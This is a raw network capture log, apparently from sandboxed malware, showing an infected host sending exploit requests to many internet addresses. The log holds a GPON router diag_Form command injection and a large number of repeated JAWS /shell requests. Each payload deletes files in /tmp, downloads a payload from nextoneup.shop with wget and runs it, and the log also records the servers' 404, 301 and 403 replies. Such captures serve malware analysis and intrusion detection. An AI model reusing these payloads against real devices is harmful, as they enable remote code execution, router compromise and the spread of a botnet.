Apr 14, 2024 04:01:39.814944983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1709	192.168.2.23	36852	192.186.5.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.999386072 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:41.629614115 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.549329996 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.580771923 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:55.259704113 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1710	192.168.2.23	38010	34.160.173.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.237082958 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1711	192.168.2.23	42332	50.246.33.13	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.276237011 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.487895012 CEST	928	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 2f 73 68 65 6c 6c 3f 63 64 20 2f 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 20 2f 74 6d 70 2f 6a 61 77 73 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget http://nextoneup.shop/jaws;sh /tmp/jaws</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1712	192.168.2.23	36430	18.169.203.151	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.384968996 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.702585936 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1713	192.168.2.23	49924	89.28.243.118	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.408185959 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.221257925 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.556915998 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.908308029 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1714	192.168.2.23	33154	178.114.194.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.418354988 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1715	192.168.2.23	37294	104.165.218.123	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.459093094 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.639889956 CEST	530	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:42 GMT Server: Apache/2 Content-Length: 315 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1716	192.168.2.23	49538	13.32.238.232	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.460582972 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.853228092 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1717	192.168.2.23	40064	34.111.249.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.586590052 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1718	192.168.2.23	37074	104.16.179.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.586635113 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1719	192.168.2.23	50878	13.58.34.98	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.618474960 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.837296009 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.065686941 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:43 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1720	192.168.2.23	59784	104.236.207.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.621867895 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.861391068 CEST	441	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.20.1 Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1721	192.168.2.23	59914	179.53.247.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.635864973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.891824961 CEST	148	IN	HTTP/1.1 307 LOCATION: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1722	192.168.2.23	34762	172.73.100.115	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.647732973 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.899024963 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:43 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1723	192.168.2.23	46006	104.83.109.64	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.711334944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.041042089 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:42 GMT Date: Sun, 14 Apr 2024 02:01:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 61 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 39 37 61 36 66 64 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 61 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 39 37 61 36 66 64 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1a7e19b8.1713060102.97a6fdb<P>https://errors.edgesuite.net/9.1a7e19b8.1713060102.97a6fdb</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1724	192.168.2.23	46764	23.20.29.174	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.719748974 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.953633070 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1725	192.168.2.23	54718	213.132.196.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.732716084 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.059494972 CEST	416	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:42 GMT Server: Apache Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1726	192.168.2.23	43702	213.160.185.26	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.741419077 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.081223011 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1727	192.168.2.23	47040	164.115.20.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.813844919 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
